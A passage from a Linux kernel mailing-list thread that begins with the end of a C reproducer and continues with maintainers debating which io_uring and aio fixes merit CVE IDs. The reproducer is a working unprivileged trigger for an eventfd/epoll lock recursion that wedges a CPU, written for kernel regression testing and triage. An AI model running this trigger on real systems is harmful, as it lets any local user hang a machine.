if (n < 0) { write(1, "-", 1); v = (unsigned long)(-n); } else v = (unsigned long)n;
char t[24]; int j = 0;
if (v == 0) t[j++] = '0';
while (v) { t[j++] = '0' + (v % 10); v /= 10; }
while (j) b[i++] = t[--j];
b[i++] = '\n';
write(1, b, i);
}
/* The whole trigger, run by the UNPRIVILEGED child. Returns on survival. */
static void run_repro(void)
{
struct io_uring_params p;
memset(&p, 0, sizeof(p));
p.flags = IORING_SETUP_SINGLE_ISSUER | IORING_SETUP_DEFER_TASKRUN;
int ring = io_uring_setup(8, &p);
if (ring < 0) { sayn("ERR io_uring_setup errno=", errno); return; }
sayn("ring fd=", ring);
sayn("params.flags=", p.flags);
sayn("features=", p.features);
size_t sqsz = p.sq_off.array + p.sq_entries * sizeof(uint32_t);
size_t cqsz = p.cq_off.cqes + p.cq_entries * sizeof(uint64_t) * 2;
size_t rsz = sqsz > cqsz ? sqsz : cqsz;
void *sq = mmap(0, rsz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, ring, IORING_OFF_SQ_RING);
if (sq == MAP_FAILED) { sayn("ERR mmap sq errno=", errno); return; }
void *cq = (p.features & IORING_FEAT_SINGLE_MMAP) ? sq :
mmap(0, cqsz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, ring, IORING_OFF_CQ_RING);
if (cq == MAP_FAILED) { sayn("ERR mmap cq errno=", errno); return; }
struct io_uring_sqe *sqes = mmap(0, p.sq_entries * sizeof(*sqes),
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, ring, IORING_OFF_SQES);
if (sqes == MAP_FAILED) { sayn("ERR mmap sqes errno=", errno); return; }
uint32_t *sq_tail = (uint32_t *)((char *)sq + p.sq_off.tail);
uint32_t *sq_mask = (uint32_t *)((char *)sq + p.sq_off.ring_mask);
uint32_t *sq_array = (uint32_t *)((char *)sq + p.sq_off.array);
uint32_t *cq_head = (uint32_t *)((char *)cq + p.cq_off.head);
uint32_t *cq_tail = (uint32_t *)((char *)cq + p.cq_off.tail);
uint32_t *cq_mask = (uint32_t *)((char *)cq + p.cq_off.ring_mask);
struct cqe { uint64_t user_data; int32_t res; uint32_t flags; };
struct cqe *cqes = (struct cqe *)((char *)cq + p.cq_off.cqes);
/* eventfd, registered as this ring's CQ eventfd */
int efd = eventfd(0, 0);
if (efd < 0) { sayn("ERR eventfd errno=", errno); return; }
if (io_uring_register(ring, IORING_REGISTER_EVENTFD, &efd, 1) < 0) {
sayn("ERR register eventfd errno=", errno); return;
}
/* A non-eventfd trigger source: a pipe. Writing it kicks epoll without
* setting current->in_eventfd, so the buggy inline signal is not masked. */
int pfd[2];
if (pipe(pfd) < 0) { sayn("ERR pipe errno=", errno); return; }
/* epoll instance that watches BOTH the pipe (trigger) and the eventfd
* (the CQ-notification target that feeds back in). */
int ep = epoll_create1(0);
if (ep < 0) { sayn("ERR epoll_create1 errno=", errno); return; }
struct epoll_event ev; memset(&ev, 0, sizeof(ev));
ev.events = EPOLLIN; ev.data.fd = efd;
if (epoll_ctl(ep, EPOLL_CTL_ADD, efd, &ev) < 0) { sayn("ERR epoll_ctl efd errno=", errno); return; }
ev.events = EPOLLIN; ev.data.fd = pfd[0];
if (epoll_ctl(ep, EPOLL_CTL_ADD, pfd[0], &ev) < 0) { sayn("ERR epoll_ctl pipe errno=", errno); return; }
/* arm an io_uring poll on the epoll fd itself */
uint32_t idx = 0;
struct io_uring_sqe *s = &sqes[idx];
memset(s, 0, sizeof(*s));
s->opcode = IORING_OP_POLL_ADD;
s->fd = ep;
s->poll32_events = POLLIN;
s->len = IORING_POLL_ADD_MULTI; /* multishot: waiter stays armed on ep->poll_wait */
s->user_data = 0x1234;
uint32_t tail = *sq_tail;
sq_array[tail & *sq_mask] = idx;
__atomic_store_n(sq_tail, tail + 1, __ATOMIC_RELEASE);
int r = io_uring_enter(ring, 1, 0, 0);
if (r < 0) { sayn("ERR io_uring_enter errno=", errno); return; }
sayn("io_uring_enter submit ret=", r);
sayn("after arm: cq_tail=", (long)*cq_tail);
if (*cq_tail != *cq_head) {
struct cqe *e = &cqes[*cq_head & *cq_mask];
sayn(" INLINE completion at arm, res=", (long)e->res);
}
say("ARMED poll on epoll fd; triggering via pipe...\n");
/* Kick the pipe (not the eventfd). On a buggy kernel this write never
* returns: epoll wakes the io_uring poll while holding ep->poll_wait.lock,
* the poll's first task_work add signals the CQ eventfd inline, that
* re-enters epoll and recurses on ep->poll_wait.lock on this same CPU. */
char one = 'x';
ssize_t w = write(pfd[1], &one, 1);
sayn("pipe write returned ", (long)w);
sayn("after write: cq_tail=", (long)*cq_tail);
/* Did the inline task_work-add signal the CQ eventfd? Peek its counter. */
{
int fl = fcntl(efd, F_GETFL); fcntl(efd, F_SETFL, fl | O_NONBLOCK);
uint64_t cnt = 0; ssize_t rr = read(efd, &cnt, sizeof(cnt));
if (rr == sizeof(cnt)) sayn("efd counter after write = ", (long)cnt);
else sayn("efd not signaled (read rr=", (long)rr);
fcntl(efd, F_SETFL, fl);
}
/* Run deferred task_work and reap to see the poll result/res. */
io_uring_enter(ring, 0, 0, 1 /*GETEVENTS*/);
sayn("after getevents: cq_tail=", (long)*cq_tail);
if (*cq_tail != *cq_head) {
struct cqe *e = &cqes[*cq_head & *cq_mask];
sayn(" poll CQE res=", (long)e->res);
}
say("REPRO-SURVIVED\n");
}
/* Drop every privilege to uid/gid 65534 and refuse to continue if the drop
* did not fully take. Order matters: setgroups + setgid must precede setuid. */
static void drop_privs(void)
{
sayn("child uid before drop=", (long)getuid());
sayn("child gid before drop=", (long)getgid());
gid_t ng = 65534; /* nogroup */
uid_t nb = 65534; /* nobody */
if (setgroups(0, (const gid_t *)0) < 0) sayn("WARN setgroups errno=", errno);
if (setgid(ng) < 0) { sayn("ERR setgid errno=", errno); _exit(2); }
if (setuid(nb) < 0) { sayn("ERR setuid errno=", errno); _exit(2); }
sayn("child uid after drop=", (long)getuid());
sayn("child gid after drop=", (long)getgid());
if (getuid() != nb || getgid() != ng) { say("ERR drop incomplete\n"); _exit(2); }
if (geteuid() == 0 || getegid() == 0) { say("ERR euid/egid still 0\n"); _exit(2); }
/* The drop must be irreversible: regaining root has to fail. */
if (setuid(0) == 0) { say("ERR regained root via setuid(0)\n"); _exit(2); }
sayn("setuid(0) correctly refused, errno=", errno);
/* A sanity cross-check: a non-root task cannot reboot(). */
if (reboot(LINUX_REBOOT_CMD_CAD_OFF) == 0) { say("ERR non-root reboot() succeeded\n"); _exit(2); }
sayn("reboot() from child correctly refused, errno=", errno);
say("PRIV-DROPPED: running trigger as uid 65534\n");
}
int main(void)
{
/* As init (root): working /dev and console on fd 1/2. */
mount("devtmpfs", "/dev", "devtmpfs", 0, 0);
int c = open("/dev/console", O_WRONLY);
if (c >= 0) { dup2(c, 1); dup2(c, 2); }
say("REPRO-START\n");
sayn("init uid=", (long)getuid());
pid_t pid = fork();
if (pid == 0) {
/* Unprivileged child: no capabilities, then hit the bug. */
drop_privs();
run_repro();
_exit(0);
}
if (pid < 0) { sayn("ERR fork errno=", errno); }
/* Root parent: reap the child (on a buggy kernel it wedges a CPU inside
* write() and never exits -> the box stalls and qemu times out), then
* power off cleanly on a fixed kernel. */
int status = 0;
if (pid > 0) {
waitpid(pid, &status, 0);
sayn("child exited, status=", (long)status);
}
sync();
say("REPRO-POWEROFF\n");
reboot(LINUX_REBOOT_CMD_POWER_OFF);
for (;;) pause();
return 0;
}
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-17 12:42 ` io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04) Sasha Levin
@ 2026-11-17 12:45 ` Jens Axboe
2026-11-17 12:59 ` Sasha Levin
0 siblings, 1 reply; 18+ messages in thread
From: Jens Axboe @ 2026-11-17 12:45 UTC (permalink / raw)
To: Sasha Levin
Cc: Greg Kroah-Hartman, stable@vger.kernel.org,
io-uring@vger.kernel.org, Yufan Chen, dev
On 11/17/26 5:42 AM, Sasha Levin wrote:
> On Mon, Nov 16, 2026 at 07:21:38PM -0700, Jens Axboe wrote:
>> On 11/16/26 2:52 AM, Greg Kroah-Hartman wrote:
>>> On Sat, Nov 14, 2026 at 11:12:40AM -0700, Jens Axboe wrote:
>>>> On 11/14/26 10:42 AM, Sasha Levin wrote:
>>>>> On 2026-11-13, dev@rebasedinc.com wrote:
>>>>>> If this is correct, a backport of 04fe9aeb4f3c to 6.18.y and 6.12.y looks like the right fix; it keeps the CVE-2026-80920 fix in place.
>>>>>
>>>>> Queued for 6.18 and 6.12, thanks.
>>>>
>>>> Yet another bs CVE - Greg, please invalidate this one too, it's NOT CVE material.
>>>> Getting a little tired of chasing these.
>>>
>>> Now rejected, sorry about that.
>>
>> Not sure how we improve on that, it's really annoying to catch these bogus
>> ones after the fact?
>
> Hi Jens,
>
> Since some of our reviews are LLM based, I was looking to see why this one was
> flagged as a security issue.
>
> From the explanation, and looking at the code, it seems that we can register an
> eventfd with io_uring, then have epoll watch that same eventfd. When something
> wakes the epoll, the kernel is holding epoll's wait-queue lock. That wakeup
> runs io_uring's poll handler, which signals the eventfd, but the eventfd is
> watched by the same epoll, so it tries to grab that same lock again on the same
> CPU. The CPU spins forever on a lock it already holds. One core is dead,
> followed by RCU stalls, machine wedges. Any unprivileged user with io_uring
> access can do it.
I think you're looking at the parent of that, not the followup. Yes the
parent is a real fix, it's similar to the eventfd fix in mainline as well
for that exact issue.
--
Jens Axboe
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-17 12:45 ` Jens Axboe
@ 2026-11-17 12:59 ` Sasha Levin
2026-11-19 18:10 ` Jens Axboe
0 siblings, 1 reply; 18+ messages in thread
From: Sasha Levin @ 2026-11-17 12:59 UTC (permalink / raw)
To: Jens Axboe
Cc: Greg Kroah-Hartman, stable@vger.kernel.org,
io-uring@vger.kernel.org, Yufan Chen, dev
On Tue, Nov 17, 2026 at 05:45:53AM -0700, Jens Axboe wrote:
>On 11/17/26 5:42 AM, Sasha Levin wrote:
>> On Mon, Nov 16, 2026 at 07:21:38PM -0700, Jens Axboe wrote:
>>> On 11/16/26 2:52 AM, Greg Kroah-Hartman wrote:
>>>> On Sat, Nov 14, 2026 at 11:12:40AM -0700, Jens Axboe wrote:
>>>>> On 11/14/26 10:42 AM, Sasha Levin wrote:
>>>>>> On 2026-11-13, dev@rebasedinc.com wrote:
>>>>>>> If this is correct, a backport of 04fe9aeb4f3c to 6.18.y and 6.12.y looks like the right fix; it keeps the CVE-2026-80920 fix in place.
>>>>>>
>>>>>> Queued for 6.18 and 6.12, thanks.
>>>>>
>>>>> Yet another bs CVE - Greg, please invalidate this one too, it's NOT CVE material.
>>>>> Getting a little tired of chasing these.
>>>>
>>>> Now rejected, sorry about that.
>>>
>>> Not sure how we improve on that, it's really annoying to catch these bogus
>>> ones after the fact?
>>
>> Hi Jens,
>>
>> Since some of our reviews are LLM based, I was looking to see why this one was
>> flagged as a security issue.
>>
>> From the explanation, and looking at the code, it seems that we can register an
>> eventfd with io_uring, then have epoll watch that same eventfd. When something
>> wakes the epoll, the kernel is holding epoll's wait-queue lock. That wakeup
>> runs io_uring's poll handler, which signals the eventfd, but the eventfd is
>> watched by the same epoll, so it tries to grab that same lock again on the same
>> CPU. The CPU spins forever on a lock it already holds. One core is dead,
>> followed by RCU stalls, machine wedges. Any unprivileged user with io_uring
>> access can do it.
>
>I think you're looking at the parent of that, not the followup. Yes the
>parent is a real fix, it's similar to the eventfd fix in mainline as well
>for that exact issue.
If by followup you mean 04fe9aeb4f3c ("io_uring/eventfd: reset deferred signal
state") then yes, I don't think it's security relevant, and it never had a CVE
assigned.
cd305ee3633a ("io_uring: defer eventfd signaling when queued from a wakeup
handler") is what had the CVE assigned to it, and what Greg rejected earlier.
Should the rejection be reverted then?
--
Thanks,
Sasha
^ permalink raw reply [flat|nested] 18+ messages in thread
* proposed io_uring CVEs for 7.3.2
2026-11-17 7:42 ` Greg Kroah-Hartman
2026-11-17 12:41 ` Jens Axboe
@ 2026-11-19 14:19 ` Greg Kroah-Hartman
2026-11-19 15:32 ` Greg Kroah-Hartman
2026-11-19 17:39 ` Jens Axboe
1 sibling, 2 replies; 18+ messages in thread
From: Greg Kroah-Hartman @ 2026-11-19 14:19 UTC (permalink / raw)
To: Jens Axboe, cve; +Cc: Sasha Levin, io-uring@vger.kernel.org
On Tue, Nov 17, 2026 at 08:42:31AM +0100, Greg Kroah-Hartman wrote:
> How about we make the "rule" that we don't assign any kernel CVEs to
> io_uring things unless you ask for us to? We do this already with the
> xen portions of the kernel, but it requires you to remember to ask us
> for an id "manually" if you want one.
Along these lines, here is a list of git ids that our initial review
pass marked as "should be given a CVE id". Any opinions on how far off
it is, and if we should assign these or not?
3de16279b43d io_uring: defer foreign io-wq enqueues to task_work
360395e8dbf9 io_uring/sqpoll: don't wait for the thread to exit
9f5315d3f436 io_uring: free the task context after a grace period
8543a39f03db io_uring/bpf-ops: clear bpf_ctx while submitting SQEs
51bab09b7ca1 io_uring: free XArray nodes left by a failed store
0b34e7b20a48 io_uring: charge tctx nodes and personalities
075d5837bafc io_uring/rsrc: charge buffer arrays and nodes to memcg
4a93427e99a8 io_uring/register: enforce per-task restrictions in io_uring_register_blind()
e66907c3ba22 io_uring/net: mask socket type with SOCK_TYPE_MASK in io_socket_bpf_populate()
37e425460b7c io_uring/io-wq: save worker type before dropping its reference
b42c85c20d84 exec: cancel io_uring requests before de_thread()
3eff68bce255 io_uring/futex: allocate private hash before waiting
5cb049d2203d io_uring: don't lose a cancel as io-wq parks a request
8257f6ec45ee io_uring: don't lose the DEFER_TASKRUN wake up
thanks,
greg k-h
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: proposed io_uring CVEs for 7.3.2
2026-11-19 14:19 ` proposed io_uring CVEs for 7.3.2 Greg Kroah-Hartman
@ 2026-11-19 15:32 ` Greg Kroah-Hartman
2026-11-19 17:40 ` Jens Axboe
2026-11-19 17:39 ` Jens Axboe
1 sibling, 1 reply; 18+ messages in thread
From: Greg Kroah-Hartman @ 2026-11-19 15:32 UTC (permalink / raw)
To: Jens Axboe, cve; +Cc: Sasha Levin, io-uring@vger.kernel.org
On Thu, Nov 19, 2026 at 03:19:28PM +0100, Greg Kroah-Hartman wrote:
> On Tue, Nov 17, 2026 at 08:42:31AM +0100, Greg Kroah-Hartman wrote:
> > How about we make the "rule" that we don't assign any kernel CVEs to
> > io_uring things unless you ask for us to? We do this already with the
> > xen portions of the kernel, but it requires you to remember to ask us
> > for an id "manually" if you want one.
>
> Along these lines, here is a list of git ids that our initial review
> pass marked as "should be given a CVE id". Any opinions on how far off
> it is, and if we should assign these or not?
>
> 3de16279b43d io_uring: defer foreign io-wq enqueues to task_work
> 360395e8dbf9 io_uring/sqpoll: don't wait for the thread to exit
> 9f5315d3f436 io_uring: free the task context after a grace period
> 8543a39f03db io_uring/bpf-ops: clear bpf_ctx while submitting SQEs
> 51bab09b7ca1 io_uring: free XArray nodes left by a failed store
> 0b34e7b20a48 io_uring: charge tctx nodes and personalities
> 075d5837bafc io_uring/rsrc: charge buffer arrays and nodes to memcg
> 4a93427e99a8 io_uring/register: enforce per-task restrictions in io_uring_register_blind()
> e66907c3ba22 io_uring/net: mask socket type with SOCK_TYPE_MASK in io_socket_bpf_populate()
> 37e425460b7c io_uring/io-wq: save worker type before dropping its reference
> b42c85c20d84 exec: cancel io_uring requests before de_thread()
> 3eff68bce255 io_uring/futex: allocate private hash before waiting
> 5cb049d2203d io_uring: don't lose a cancel as io-wq parks a request
> 8257f6ec45ee io_uring: don't lose the DEFER_TASKRUN wake up
And here are some proposed 7.3.5 commits that came up:
9eff9c07e927 io_uring/poll: cancel all matching requests in one pass
f013b6955064 io_uring/sqpoll: do the return-to-userspace work in the SQPOLL thread
cb0306c52ffa io_uring/cancel: drop sqd->lock while SQPOLL waits
thanks,
greg k-h
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: proposed io_uring CVEs for 7.3.2
2026-11-19 14:19 ` proposed io_uring CVEs for 7.3.2 Greg Kroah-Hartman
2026-11-19 15:32 ` Greg Kroah-Hartman
@ 2026-11-19 17:39 ` Jens Axboe
1 sibling, 0 replies; 18+ messages in thread
From: Jens Axboe @ 2026-11-19 17:39 UTC (permalink / raw)
To: Greg Kroah-Hartman, cve; +Cc: Sasha Levin, io-uring@vger.kernel.org
On 11/19/26 7:19 AM, Greg Kroah-Hartman wrote:
> On Tue, Nov 17, 2026 at 08:42:31AM +0100, Greg Kroah-Hartman wrote:
>> How about we make the "rule" that we don't assign any kernel CVEs to
>> io_uring things unless you ask for us to? We do this already with the
>> xen portions of the kernel, but it requires you to remember to ask us
>> for an id "manually" if you want one.
>
> Along these lines, here is a list of git ids that our initial review
> pass marked as "should be given a CVE id". Any opinions on how far off
> it is, and if we should assign these or not?
Thanks for sending these!
> 3de16279b43d io_uring: defer foreign io-wq enqueues to task_work
> 360395e8dbf9 io_uring/sqpoll: don't wait for the thread to exit
> 9f5315d3f436 io_uring: free the task context after a grace period
> 8543a39f03db io_uring/bpf-ops: clear bpf_ctx while submitting SQEs
Agree.
> 51bab09b7ca1 io_uring: free XArray nodes left by a failed store
Don't agree, it's a small memcg charged leak, and requires mem allocation
failures.
> 0b34e7b20a48 io_uring: charge tctx nodes and personalities
Doubtful, unless we're strict on memcg violations are a CVE, as I'm
sure there are tons of ways to do that right now in a bunch of
kernel code.
> 075d5837bafc io_uring/rsrc: charge buffer arrays and nodes to memcg
Same as above.
> 4a93427e99a8 io_uring/register: enforce per-task restrictions in io_uring_register_blind()
> e66907c3ba22 io_uring/net: mask socket type with SOCK_TYPE_MASK in io_socket_bpf_populate()
> 37e425460b7c io_uring/io-wq: save worker type before dropping its reference
Agree.
> b42c85c20d84 exec: cancel io_uring requests before de_thread()
Reject, ordering cleanup.
> 3eff68bce255 io_uring/futex: allocate private hash before waiting
> 5cb049d2203d io_uring: don't lose a cancel as io-wq parks a request
> 8257f6ec45ee io_uring: don't lose the DEFER_TASKRUN wake up
Reject, it's just an application side problem.
--
Jens Axboe
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: proposed io_uring CVEs for 7.3.2
2026-11-19 15:32 ` Greg Kroah-Hartman
@ 2026-11-19 17:40 ` Jens Axboe
0 siblings, 0 replies; 18+ messages in thread
From: Jens Axboe @ 2026-11-19 17:40 UTC (permalink / raw)
To: Greg Kroah-Hartman, cve; +Cc: Sasha Levin, io-uring@vger.kernel.org
On 11/19/26 8:32 AM, Greg Kroah-Hartman wrote:
> On Thu, Nov 19, 2026 at 03:19:28PM +0100, Greg Kroah-Hartman wrote:
>> On Tue, Nov 17, 2026 at 08:42:31AM +0100, Greg Kroah-Hartman wrote:
>>> How about we make the "rule" that we don't assign any kernel CVEs to
>>> io_uring things unless you ask for us to? We do this already with the
>>> xen portions of the kernel, but it requires you to remember to ask us
>>> for an id "manually" if you want one.
>>
>> Along these lines, here is a list of git ids that our initial review
>> pass marked as "should be given a CVE id". Any opinions on how far off
>> it is, and if we should assign these or not?
>>
>> 3de16279b43d io_uring: defer foreign io-wq enqueues to task_work
>> 360395e8dbf9 io_uring/sqpoll: don't wait for the thread to exit
>> 9f5315d3f436 io_uring: free the task context after a grace period
>> 8543a39f03db io_uring/bpf-ops: clear bpf_ctx while submitting SQEs
>> 51bab09b7ca1 io_uring: free XArray nodes left by a failed store
>> 0b34e7b20a48 io_uring: charge tctx nodes and personalities
>> 075d5837bafc io_uring/rsrc: charge buffer arrays and nodes to memcg
>> 4a93427e99a8 io_uring/register: enforce per-task restrictions in io_uring_register_blind()
>> e66907c3ba22 io_uring/net: mask socket type with SOCK_TYPE_MASK in io_socket_bpf_populate()
>> 37e425460b7c io_uring/io-wq: save worker type before dropping its reference
>> b42c85c20d84 exec: cancel io_uring requests before de_thread()
>> 3eff68bce255 io_uring/futex: allocate private hash before waiting
>> 5cb049d2203d io_uring: don't lose a cancel as io-wq parks a request
>> 8257f6ec45ee io_uring: don't lose the DEFER_TASKRUN wake up
>
> And here are some proposed 7.3.5 commits that came up:
>
> 9eff9c07e927 io_uring/poll: cancel all matching requests in one pass
Agree
> f013b6955064 io_uring/sqpoll: do the return-to-userspace work in the SQPOLL thread
Reject, it just runs limits later than it should, they are still honored.
> cb0306c52ffa io_uring/cancel: drop sqd->lock while SQPOLL waits
Agree
--
Jens Axboe
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-17 12:59 ` Sasha Levin
@ 2026-11-19 18:10 ` Jens Axboe
2026-11-19 20:39 ` Sasha Levin
0 siblings, 1 reply; 18+ messages in thread
From: Jens Axboe @ 2026-11-19 18:10 UTC (permalink / raw)
To: Sasha Levin
Cc: Greg Kroah-Hartman, stable@vger.kernel.org,
io-uring@vger.kernel.org, Yufan Chen, dev
On 11/17/26 5:59 AM, Sasha Levin wrote:
> On Tue, Nov 17, 2026 at 05:45:53AM -0700, Jens Axboe wrote:
>> On 11/17/26 5:42 AM, Sasha Levin wrote:
>>> On Mon, Nov 16, 2026 at 07:21:38PM -0700, Jens Axboe wrote:
>>>> On 11/16/26 2:52 AM, Greg Kroah-Hartman wrote:
>>>>> On Sat, Nov 14, 2026 at 11:12:40AM -0700, Jens Axboe wrote:
>>>>>> On 11/14/26 10:42 AM, Sasha Levin wrote:
>>>>>>> On 2026-11-13, dev@rebasedinc.com wrote:
>>>>>>>> If this is correct, a backport of 04fe9aeb4f3c to 6.18.y and 6.12.y looks like the right fix; it keeps the CVE-2026-80920 fix in place.
>>>>>>>
>>>>>>> Queued for 6.18 and 6.12, thanks.
>>>>>>
>>>>>> Yet another bs CVE - Greg, please invalidate this one too, it's NOT CVE material.
>>>>>> Getting a little tired of chasing these.
>>>>>
>>>>> Now rejected, sorry about that.
>>>>
>>>> Not sure how we improve on that, it's really annoying to catch these bogus
>>>> ones after the fact?
>>>
>>> Hi Jens,
>>>
>>> Since some of our reviews are LLM based, I was looking to see why this one was
>>> flagged as a security issue.
>>>
>>> From the explanation, and looking at the code, it seems that we can register an
>>> eventfd with io_uring, then have epoll watch that same eventfd. When something
>>> wakes the epoll, the kernel is holding epoll's wait-queue lock. That wakeup
>>> runs io_uring's poll handler, which signals the eventfd, but the eventfd is
>>> watched by the same epoll, so it tries to grab that same lock again on the same
>>> CPU. The CPU spins forever on a lock it already holds. One core is dead,
>>> followed by RCU stalls, machine wedges. Any unprivileged user with io_uring
>>> access can do it.
>>
>> I think you're looking at the parent of that, not the followup. Yes the
>> parent is a real fix, it's similar to the eventfd fix in mainline as well
>> for that exact issue.
>
> If by followup you mean 04fe9aeb4f3c ("io_uring/eventfd: reset deferred signal
> state") then yes, I don't think it's security relevant, and it never had a CVE
> assigned.
>
> cd305ee3633a ("io_uring: defer eventfd signaling when queued from a wakeup
> handler") is what had the CVE assigned to it, and what Greg rejected earlier.
> Should the rejection be reverted then?
Missed this - I agree with you, I was looking at the wrong commit. FWIW,
this is the same class as:
commit 398e3fa789aa5ffddc8689d8cbc7b31e1824130c
Author: Daehyeon Ko <4ncienth@gmail.com>
Date: Thu Aug 13 22:38:43 2026 +0900
aio: prevent eventfd/epoll recursion on poll
but nobody ever assigns CVEs there, apparently? So either both are bogus,
or neither of them are. At least the inconsistencies here are odd and
arbitrary. Since I got curious after having looked at this one which
are basically mirrors of each other, I took a peek at other aio changes
from this year. And they totally back that up - nobody looks at these,
and assigns CVE. Since no development is happening there, commits
touching it are either treewide stuff, or bug fixes. I see 6 bug fixes,
5 of which would fit the bill:
Commit: c03ce4173c7b
Date: Apr 13
Fix: Ring mapping inherited over fork
CVE-worthy? NULL deref in the kernel when the child faults on the ring
after the parent destroys it. Unprivileged. I'd say so, yet no CVE
assigned.
Commit: 3adf7ae18bf4
Date: Apr 18
Fix: Partial mremap of the ring
CVE-worthy? Yes. Same NULL deref, and io_destroy() can unmap unrelated
neighbouring mappings. Unprivileged. Again, no CVE assigned, should have
been.
Commit: 398e3fa789aa
Date: Aug 13
Fix: eventfd/epoll recursion on poll
CVE-worthy? Already mentioned above.
Commit: b44341e39d85
Date: Oct 22
Fix: Request count overflow in ioctx_alloc()
CVE-worthy? Not in my opinion.
Commit: d53b5aa5cfae
Date: Oct 29
Fix: Fault races ring truncation
CVE-worthy? Third route to the same NULL deref, via a killed io_destroy() in a
task sharing the mm. "Any user can do that" per the commit. Should
have a CVE, yet once again none assigned.
Date: Oct 30
Fix: exit_aio() returns before complete()
CVE-worthy? Ehm write to a freed stack frame, as before unprivileged.
I'd certainly say so.
But apparently nobody looks at aio?!
--
Jens Axboe
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-19 18:10 ` Jens Axboe
@ 2026-11-19 20:39 ` Sasha Levin
0 siblings, 0 replies; 18+ messages in thread
From: Sasha Levin @ 2026-11-19 20:39 UTC (permalink / raw)
To: Jens Axboe
Cc: Greg Kroah-Hartman, stable@vger.kernel.org,
io-uring@vger.kernel.org, Yufan Chen, dev
On Thu, Nov 19, 2026 at 11:10:03AM -0700, Jens Axboe wrote:
>But apparently nobody looks at aio?!
We do :) Here's what happened with each of them:
>Commit: c03ce4173c7b
>Date: Apr 13
>Fix: Ring mapping inherited over fork
>Commit: 3adf7ae18bf4
>Date: Apr 18
>Fix: Partial mremap of the ring
Neither has a Fixes: or a stable tag, so they're not even in a stable tree.
>Commit: 398e3fa789aa
>Date: Aug 13
>Fix: eventfd/epoll recursion on poll
>Commit: d53b5aa5cfae
>Date: Oct 29
>Fix: Fault races ring truncation
Both shipped last week in 7.3.4, 6.18.63 and 6.12.117. My LLM review
flagged both as CVE worthy. The 7.3.4 batch hasn't been assigned yet.
>Commit: b44341e39d85
>Date: Oct 22
>Fix: Request count overflow in ioctx_alloc()
>CVE-worthy? Not in my opinion.
Agreed. No Fixes: or stable tag on this one either, and there hasn't been an
AUTOSEL batch since it was merged, so it isn't in any stable tree.
>Date: Oct 30
>Fix: exit_aio() returns before complete()
I'm assuming this is ac4b449b39e6 ("aio: don't let exit_aio() return before
complete() is done")? It has a stable tag but only went into v7.4-rc3, and it
isn't in a stable release yet, so it hasn't come up for review.
--
Thanks,
Sasha
^ permalink raw reply [flat|nested] 18+ messages in thread
end of thread, other threads:[~2026-11-19 20:39 UTC | newest]
Thread overview: 18+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-11-13 23:22 Subject: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04) dev
2026-11-14 2:00 ` Greg KH
2026-11-15 1:13 ` dev
2026-11-14 17:42 ` Sasha Levin
2026-11-14 18:12 ` Jens Axboe
2026-11-16 9:52 ` Greg Kroah-Hartman
2026-11-17 2:21 ` Jens Axboe
2026-11-17 7:42 ` Greg Kroah-Hartman
2026-11-17 12:41 ` Jens Axboe
2026-11-19 14:19 ` proposed io_uring CVEs for 7.3.2 Greg Kroah-Hartman
2026-11-19 15:32 ` Greg Kroah-Hartman
2026-11-19 17:40 ` Jens Axboe
2026-11-19 17:39 ` Jens Axboe
2026-11-17 12:42 ` io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04) Sasha Levin
2026-11-17 12:45 ` Jens Axboe
2026-11-17 12:59 ` Sasha Levin
2026-11-19 18:10 ` Jens Axboe
2026-11-19 20:39 ` Sasha Levin
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox